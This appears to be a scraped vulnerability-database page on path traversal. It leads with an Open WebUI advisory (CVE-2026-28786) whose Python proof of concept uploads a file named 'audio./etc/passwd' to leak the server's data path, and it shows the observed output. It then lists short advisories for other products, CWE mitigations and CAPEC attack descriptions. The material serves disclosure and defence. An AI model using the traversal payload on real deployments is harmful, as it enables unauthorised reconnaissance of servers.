# wait ~30 s, register a standard user at http://localhost:3000
pip install requests
import requests, sys
BASE_URL = "http://localhost:3000"
EMAIL = "user@example.com"
PASSWORD = "changeme"
token = requests.post(f"{BASE_URL}/api/v1/auths/signin",
json={"email": EMAIL, "password": PASSWORD},
timeout=10).json()["token"]
boundary = "----Boundary"
wav_stub = b"RIFF\x00\x00\x00\x00WAVE"
body = (
f'--{boundary}\r\nContent-Disposition: form-data; name="file"; '
f'filename="audio./etc/passwd"\r\nContent-Type: audio/wav\r\n\r\n'
).encode() + wav_stub + f"\r\n--{boundary}--\r\n".encode()
resp = requests.post(
f"{BASE_URL}/api/v1/audio/transcriptions",
data=body,
headers={"Authorization": f"Bearer {token}",
"Content-Type": f"multipart/form-data; boundary={boundary}"},
timeout=15,
)
print(resp.status_code, resp.text)
Observed output (live test, commit b8112d72b):
400 {"detail":"[ERROR: [Errno 2] No such file or directory:
'/app/backend/data/cache/audio/transcriptions/59457ccf-…./etc/passwd']"}
The absolute DATA_DIR path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.
Note on the write primitive: the traversal path includes a fresh UUID segment ({uuid}.) that never pre-exists as a directory, so open() is OS-blocked in all practical scenarios. The impact is information disclosure only.
Impact
Any authenticated, non-admin user on a default Open WebUI deployment can leak the server's absolute DATA_DIR filesystem path. The route is gated by get_verified_user — the lowest privilege tier — so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.
AI Disclosure: Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit
b8112d72b. All code references were verified by the reporter, who accepts full responsibility for accuracy.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.8.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-28786"
],
"database_specific": {
"cwe_ids": [
"CWE-209",
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-27T15:29:32Z",
"nvd_published_at": "2026-03-27T00:16:22Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nAn unsanitised filename field in the speech-to-text transcription endpoint allows any authenticated non-admin user to trigger a `FileNotFoundError` whose message \u2014 including the server\u0027s absolute `DATA_DIR` path \u2014 is returned verbatim in the HTTP 400 response body, confirming information disclosure on all default deployments.\n\n### Details\n\n`backend/open_webui/routers/audio.py:1197` extracts a file extension from the raw multipart `filename` using `file.filename.split(\".\")[-1]` with no path sanitisation. The result is concatenated into a filesystem path and passed to `open()`:\n\n```python\next = file.filename.split(\".\")[-1] # attacker-controlled, no sanitisation\nfilename = f\"{id}.{ext}\" # may contain \"/\"\nfile_path = f\"{file_dir}/{filename}\"\nwith open(file_path, \"wb\") as f:\n f.write(contents)\n```\n\nIf the filename is `audio./etc/passwd`, `split(\".\")[-1]` yields `/etc/passwd` and the assembled path becomes:\n\n```\n{CACHE_DIR}/audio/transcriptions/{uuid}./etc/passwd\n```\n\n`open()` fails with `FileNotFoundError`. The outer `except` block at line 1231 returns the exception via `ERROR_MESSAGES.DEFAULT(e)`, leaking the full absolute path in the response body.\n\nThe MIME-type guard at line 1190 checks `Content-Type` (a separate multipart field) and does not constrain `filename`. Setting `Content-Type: audio/wav` satisfies the guard regardless of the filename value.\n\nThis handler is the only file upload path in the codebase that omits `os.path.basename()`. Both sibling handlers apply it explicitly:\n\n```python\n# files.py:244\nfilename = os.path.basename(file.filename)\n\n# pipelines.py:206\nfilename = os.path.basename(file.filename)\n```\n\n**Recommended fix** \u2014 match the existing pattern and suppress path leakage in errors:\n\n```python\n# audio.py:1197 \u2014 sanitise extension\nfrom pathlib import Path\nsafe_name = Path(file.filename).name\next = Path(safe_name).suffix.lstrip(\".\") or \"bin\"\n\n# audio.py:1231 \u2014 suppress internal path in error response\nexcept Exception as e:\n log.exception(e)\n raise HTTPException(status_code=400, detail=\"Transcription failed.\")\n```\n\n---\n\n### PoC\n\n**Requirements:** a running Open WebUI instance and one standard (non-admin) user account.\n\n```bash\ndocker run -d -p 3000:8080 --name owui-test ghcr.io/open-webui/open-webui:latest\n# wait ~30 s, register a standard user at http://localhost:3000\npip install requests\n```\n\n```python\nimport requests, sys\n\nBASE_URL = \"http://localhost:3000\"\nEMAIL = \"user@example.com\"\nPASSWORD = \"changeme\"\n\ntoken = requests.post(f\"{BASE_URL}/api/v1/auths/signin\",\n json={\"email\": EMAIL, \"password\": PASSWORD},\n timeout=10).json()[\"token\"]\n\nboundary = \"----Boundary\"\nwav_stub = b\"RIFF\\x00\\x00\\x00\\x00WAVE\"\nbody = (\n f\u0027--{boundary}\\r\\nContent-Disposition: form-data; name=\"file\"; \u0027\n f\u0027filename=\"audio./etc/passwd\"\\r\\nContent-Type: audio/wav\\r\\n\\r\\n\u0027\n).encode() + wav_stub + f\"\\r\\n--{boundary}--\\r\\n\".encode()\n\nresp = requests.post(\n f\"{BASE_URL}/api/v1/audio/transcriptions\",\n data=body,\n headers={\"Authorization\": f\"Bearer {token}\",\n \"Content-Type\": f\"multipart/form-data; boundary={boundary}\"},\n timeout=15,\n)\nprint(resp.status_code, resp.text)\n```\n\n**Observed output (live test, commit `b8112d72b`):**\n\n```\n400 {\"detail\":\"[ERROR: [Errno 2] No such file or directory:\n\u0027/app/backend/data/cache/audio/transcriptions/59457ccf-\u2026./etc/passwd\u0027]\"}\n```\n\nThe absolute `DATA_DIR` path is confirmed. Filesystem structure can be enumerated by varying traversal depth and observing which error messages change.\n\n**Note on the write primitive:** the traversal path includes a fresh UUID segment (`{uuid}.`) that never pre-exists as a directory, so `open()` is OS-blocked in all practical scenarios. The impact is information disclosure only.\n\n---\n\n### Impact\nAny authenticated, non-admin user on a default Open WebUI deployment can leak the server\u0027s absolute `DATA_DIR` filesystem path. The route is gated by `get_verified_user` \u2014 the lowest privilege tier \u2014 so every registered account is a potential attacker. Multi-tenant and shared deployments are most exposed.\n\n\u003e **AI Disclosure:** Claude was used to draft this report and the PoC. The vulnerability was identified via manual static analysis of commit `b8112d72b`. All code references were verified by the reporter, who accepts full responsibility for accuracy.",
"id": "GHSA-vvxm-vxmr-624h",
"modified": "2026-03-27T15:29:32Z",
"published": "2026-03-27T15:29:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vvxm-vxmr-624h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28786"
},
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/commit/387225eb8b3906909436004f84fff1b012e067d4"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI vulnerable to Path Traversal in `POST /api/v1/audio/transcriptions`"
}
GHSA-VVXV-5MJ6-R356
Vulnerability from github – Published: 2022-05-14 03:49 – Updated: 2022-05-14 03:49An issue was discovered in EMC Avamar Server 7.1.x, 7.2.x, 7.3.x, 7.4.x, 7.5.0; EMC NetWorker Virtual Edition (NVE) 9.0.x, 9.1.x, 9.2.x; and EMC Integrated Data Protection Appliance 2.0. A remote authenticated malicious user with low privileges could access arbitrary files on the server file system in the context of the running vulnerable application via Path traversal.
{
"affected": [],
"aliases": [
"CVE-2017-15550"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-01-05T17:29:00Z",
"severity": "HIGH"
},
"details": "An issue was discovered in EMC Avamar Server 7.1.x, 7.2.x, 7.3.x, 7.4.x, 7.5.0; EMC NetWorker Virtual Edition (NVE) 9.0.x, 9.1.x, 9.2.x; and EMC Integrated Data Protection Appliance 2.0. A remote authenticated malicious user with low privileges could access arbitrary files on the server file system in the context of the running vulnerable application via Path traversal.",
"id": "GHSA-vvxv-5mj6-r356",
"modified": "2022-05-14T03:49:07Z",
"published": "2022-05-14T03:49:07Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-15550"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2018/Jan/17"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/102358"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id/1040070"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VW2H-9C9H-52C3
Vulnerability from github – Published: 2026-06-09 18:30 – Updated: 2026-06-09 18:30Omnissa Workspace ONE® Assist for macOS contains a Local Privilege Escalation Vulnerability.
{
"affected": [],
"aliases": [
"CVE-2026-22926"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-09T17:17:02Z",
"severity": "HIGH"
},
"details": "Omnissa Workspace ONE\u00ae Assist for macOS contains a Local Privilege Escalation Vulnerability.",
"id": "GHSA-vw2h-9c9h-52c3",
"modified": "2026-06-09T18:30:40Z",
"published": "2026-06-09T18:30:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22926"
},
{
"type": "WEB",
"url": "https://www.omnissa.com/omnissa-security-response"
},
{
"type": "WEB",
"url": "https://www.omnissa.com/omsa-2026-0001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-VW2W-PCCH-37C6
Vulnerability from github – Published: 2022-05-14 02:48 – Updated: 2022-05-14 02:48Multiple directory traversal vulnerabilities in func.php in Magnifica Webscripts Anima Gallery 2.6 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) theme or (2) lang cookie parameter to AnimaGallery/.
{
"affected": [],
"aliases": [
"CVE-2015-4415"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2015-06-10T14:59:00Z",
"severity": "MODERATE"
},
"details": "Multiple directory traversal vulnerabilities in func.php in Magnifica Webscripts Anima Gallery 2.6 allow remote attackers to include and execute arbitrary local files via a .. (dot dot) in the (1) theme or (2) lang cookie parameter to AnimaGallery/.",
"id": "GHSA-vw2w-pcch-37c6",
"modified": "2022-05-14T02:48:28Z",
"published": "2022-05-14T02:48:28Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2015-4415"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/archive/1/535705/100/0/threaded"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/75061"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VW3R-FH3C-R4PJ
Vulnerability from github – Published: 2026-02-03 00:30 – Updated: 2026-02-03 00:30Vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/specials/pagers/BlockListPager.Php, includes/api/ApiQueryBlocks.Php.
This issue affects MediaWiki: from >= 1.42.0 before 1.39.13, 1.42.7 1.43.2, 1.44.0.
{
"affected": [],
"aliases": [
"CVE-2025-6927"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-02T23:16:02Z",
"severity": "LOW"
},
"details": "Vulnerability in Wikimedia Foundation MediaWiki. This vulnerability is associated with program files includes/specials/pagers/BlockListPager.Php, includes/api/ApiQueryBlocks.Php.\n\nThis issue affects MediaWiki: from \u003e= 1.42.0 before 1.39.13, 1.42.7 1.43.2, 1.44.0.",
"id": "GHSA-vw3r-fh3c-r4pj",
"modified": "2026-02-03T00:30:18Z",
"published": "2026-02-03T00:30:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6927"
},
{
"type": "WEB",
"url": "https://phabricator.wikimedia.org/T397595"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VW4V-5RX7-VG3Q
Vulnerability from github – Published: 2022-01-04 00:00 – Updated: 2022-01-14 00:03HwPCAssistant has a Improper Input Validation vulnerability.Successful exploitation of this vulnerability may create any file with the system app permission.
{
"affected": [],
"aliases": [
"CVE-2021-39970"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-01-03T22:15:00Z",
"severity": "HIGH"
},
"details": "HwPCAssistant has a Improper Input Validation vulnerability.Successful exploitation of this vulnerability may create any file with the system app permission.",
"id": "GHSA-vw4v-5rx7-vg3q",
"modified": "2022-01-14T00:03:22Z",
"published": "2022-01-04T00:00:26Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-39970"
},
{
"type": "WEB",
"url": "https://device.harmonyos.com/en/docs/security/update/security-bulletins-202110-0000001162998526"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-VW56-52XP-9GRQ
Vulnerability from github – Published: 2026-10-19 18:32 – Updated: 2026-10-19 18:32TickTick Android application (com.ticktick.task) 8.2.2.0 contains a path traversal vulnerability in its exported ShareReceiveActivity that allows a malicious local application to write files outside the intended attachment directory by supplying a crafted content:// URI with a traversal filename via ACTION_SEND intents. A malicious application can register a ContentProvider returning a _display_name value containing traversal sequences, which is passed unsanitized through FileManager.getDisplayNameFromUri and AttachmentFileHelper.copyFileDirectly, causing automatic file writes to attacker-chosen locations with TickTick's application privileges.
{
"affected": [],
"aliases": [
"CVE-2026-11319"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-10-19T18:17:05Z",
"severity": "MODERATE"
},
"details": "TickTick Android application (com.ticktick.task) 8.2.2.0 contains a path traversal vulnerability in its exported ShareReceiveActivity that allows a malicious local application to write files outside the intended attachment directory by supplying a crafted content:// URI with a traversal filename via ACTION_SEND intents. A malicious application can register a ContentProvider returning a _display_name value containing traversal sequences, which is passed unsanitized through FileManager.getDisplayNameFromUri and AttachmentFileHelper.copyFileDirectly, causing automatic file writes to attacker-chosen locations with TickTick\u0027s application privileges.",
"id": "GHSA-vw56-52xp-9grq",
"modified": "2026-10-19T18:32:17Z",
"published": "2026-10-19T18:32:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11319"
},
{
"type": "WEB",
"url": "https://github.com/actuator/com.ticktick.task"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/ticktick-android-path-traversal-via-sharereceiveactivity"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VW77-6Q33-MM53
Vulnerability from github – Published: 2022-05-24 22:29 – Updated: 2022-05-24 22:29A user may be tricked into opening a malicious FBX file which may exploit a Directory Traversal Remote Code Execution vulnerability in FBX’s Review causing it to run arbitrary code on the system.
{
"affected": [],
"aliases": [
"CVE-2021-27030"
],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-19T16:15:00Z",
"severity": "HIGH"
},
"details": "A user may be tricked into opening a malicious FBX file which may exploit a Directory Traversal Remote Code Execution vulnerability in FBX\u2019s Review causing it to run arbitrary code on the system.",
"id": "GHSA-vw77-6q33-mm53",
"modified": "2022-05-24T22:29:00Z",
"published": "2022-05-24T22:29:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-27030"
},
{
"type": "WEB",
"url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2021-0001"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-1070"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-21-466"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-20.1
Strategy: Input Validation
- Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked.
- Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes:
- realpath() in C
- getCanonicalPath() in Java
- GetFullPath() in ASP.NET
- realpath() or abs_path() in Perl
- realpath() in PHP
Mitigation MIT-4
Strategy: Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Mitigation MIT-29
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-17
Strategy: Environment Hardening
Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Mitigation MIT-21.1
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-34
Strategy: Attack Surface Reduction
- Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.
- This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Mitigation MIT-39
- Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success.
- If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files.
- Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not.
- In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Mitigation MIT-16
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-126: Path Traversal
An adversary uses path manipulation methods to exploit insufficient input validation of a target to obtain access to data that should be not be retrievable by ordinary well-formed requests. A typical variety of this attack involves specifying a path to a desired file together with dot-dot-slash characters, resulting in the file access API or function traversing out of the intended directory structure and into the root file system. By replacing or modifying the expected path information the access function or API retrieves the file desired by the attacker. These attacks either involve the attacker providing a complete path to a targeted file or using control characters (e.g. path separators (/ or \) and/or dots (.)) to reach desired directories or files.
CAPEC-64: Using Slashes and URL Encoding Combined to Bypass Validation Logic
This attack targets the encoding of the URL combined with the encoding of the slash characters. An attacker can take advantage of the multiple ways of encoding a URL and abuse the interpretation of the URL. A URL may contain special character that need special syntax handling in order to be interpreted. Special characters are represented using a percentage character followed by two digits representing the octet code of the original character (%HEX-CODE). For instance US-ASCII space character would be represented with %20. This is often referred as escaped ending or percent-encoding. Since the server decodes the URL from the requests, it may restrict the access to some URL paths by validating and filtering out the URL requests it received. An attacker will try to craft an URL with a sequence of special characters which once interpreted by the server will be equivalent to a forbidden URL. It can be difficult to protect against this attack since the URL can contain other format of encoding such as UTF-8 encoding, Unicode-encoding, etc.
CAPEC-76: Manipulating Web Input to File System Calls
An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.
CAPEC-78: Using Escaped Slashes in Alternate Encoding
This attack targets the use of the backslash in alternate encoding. An adversary can provide a backslash as a leading character and causes a parser to believe that the next character is special. This is called an escape. By using that trick, the adversary tries to exploit alternate ways to encode the same character which leads to filter problems and opens avenues to attack.
CAPEC-79: Using Slashes in Alternate Encoding
This attack targets the encoding of the Slash characters. An adversary would try to exploit common filtering problems related to the use of the slashes characters to gain access to resources on the target host. Directory-driven systems, such as file systems and databases, typically use the slash character to indicate traversal between directories or other container components. For murky historical reasons, PCs (and, as a result, Microsoft OSs) choose to use a backslash, whereas the UNIX world typically makes use of the forward slash. The schizophrenic result is that many MS-based systems are required to understand both forms of the slash. This gives the adversary many opportunities to discover and abuse a number of common filtering problems. The goal of this pattern is to discover server software that only applies filters to one version, but not the other.